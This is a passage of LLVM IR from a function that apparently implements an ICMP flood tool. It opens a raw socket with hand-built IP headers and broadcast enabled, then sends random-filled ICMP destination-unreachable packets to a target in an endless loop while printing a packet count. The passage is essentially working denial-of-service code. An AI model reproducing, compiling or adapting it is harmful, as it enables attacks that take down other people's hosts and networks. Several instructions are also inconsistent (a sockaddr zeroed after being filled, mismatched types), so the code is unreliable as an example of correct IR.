23: ; preds = %11
%24 = tail call i32 @perror(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0))
br label %101
25: ; preds = %11
%26 = load i32, i32* @IPPROTO_IP
%27 = load i32, i32* @IP_HDRINCL
%28 = call i32 @setsockopt(i32 %21, i32 %26, i32 %27, i8* %12, i32 4)
%29 = icmp eq i32 %28, -1
br i1 %29, label %30, label %32
30: ; preds = %25
%31 = call i32 @perror(i8* getelementptr inbounds ([74 x i8], [74 x i8]* @.str.4, i64 0, i64 0))
br label %101
32: ; preds = %25
%33 = load i32, i32* @SOL_SOCKET
%34 = load i32, i32* @SO_BROADCAST
%35 = call i32 @setsockopt(i32 %21, i32 %33, i32 %34, i8* %12, i32 4)
%36 = icmp eq i32 %35, -1
br i1 %36, label %37, label %39
37: ; preds = %32
%38 = call i32 @perror(i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.5, i64 0, i64 0))
br label %101
39: ; preds = %32
%40 = call i64 @malloc(i32 608)
%41 = inttoptr i64 %40 to i8*
%42 = icmp eq i64 %40, 0
br i1 %42, label %43, label %46
43: ; preds = %39
%44 = call i32 @perror(i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.6, i64 0, i64 0))
%45 = call i32 @close(i32 %21)
br label %101
46: ; preds = %39
%47 = call i32 @memset(i8* %41, i32 0, i32 608)
%48 = inttoptr i64 %40 to %struct.iphdr*
%49 = getelementptr inbounds i8, i8* %41, i64 64
%50 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 0
store i32 4, i32* %50
%51 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 1
store i32 5, i32* %51
%52 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 9
store i64 0, i64* %52
%53 = call i32 @htons(i32 608)
%54 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 8
store i32 %53, i32* %54
%55 = call i32 (...) @rand()
%56 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 2
store i32 %55, i32* %56
%57 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 7
store i64 0, i64* %57
%58 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 3
store i32 255, i32* %58
%59 = load i32, i32* @IPPROTO_ICMP
%60 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 6
store i32 %59, i32* %60
%61 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 4
store i64 %14, i64* %61
%62 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i64 0, i32 5
store i64 %17, i64* %62
%63 = load i32, i32* @ICMP_DEST_UNREACH
%64 = getelementptr inbounds i8, i8* %41, i64 88
%65 = bitcast i8* %64 to i32*
store i32 %63, i32* %65
%66 = bitcast i8* %49 to i32*
store i32 0, i32* %66
%67 = call i32 (...) @rand()
%68 = getelementptr inbounds i8, i8* %41, i64 80
%69 = bitcast i8* %68 to i32*
store i32 %67, i32* %69
%70 = call i32 (...) @rand()
%71 = getelementptr inbounds i8, i8* %41, i64 84
%72 = bitcast i8* %71 to i32*
store i32 %70, i32* %72
%73 = getelementptr inbounds i8, i8* %41, i64 72
%74 = bitcast i8* %73 to i64*
store i64 0, i64* %74
%75 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
%76 = load i32, i32* @AF_INET
%77 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %76, i32* %77
%78 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i64 %17, i64* %78
%79 = call i32 @memset(i8* %75, i32 0, i32 1)
%80 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([21 x i8], [21 x i8]* @.str.7, i64 0, i64 0))
%81 = getelementptr inbounds i8, i8* %41, i64 96
%82 = bitcast i8* %49 to i16*
%83 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
br label %84
84: ; preds = %96, %46
%85 = phi i32 [ undef, %46 ], [ %97, %96 ]
store i32 3, i32* %66
%86 = call i32 (...) @rand()
%87 = srem i32 %86, 255
%88 = call i32 @memset(i8* %81, i32 %87, i32 512)
store i64 0, i64* %74
%89 = call i64 @icmpChecksum(i16* %82, i32 544)
store i64 %89, i64* %74
%90 = call i32 @sendto(i32 %21, i8* %41, i32 608, i32 0, %struct.sockaddr* %83, i32 24)
%91 = icmp slt i32 %90, 1
br i1 %91, label %92, label %96
92: ; preds = %84
%93 = call i32 @perror(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0))
%94 = call i32 @free(i8* %41)
%95 = call i32 @close(i32 %21)
br label %101
96: ; preds = %84
%97 = add nsw i32 %85, 1
%98 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @.str.9, i64 0, i64 0), i32 %97)
%99 = load i32, i32* @stdout
%100 = call i32 @fflush(i32 %99)
br label %84
101: ; preds = %43, %92, %37, %30, %23
br label %102
102: ; preds = %101, %7
ret i32 -1
}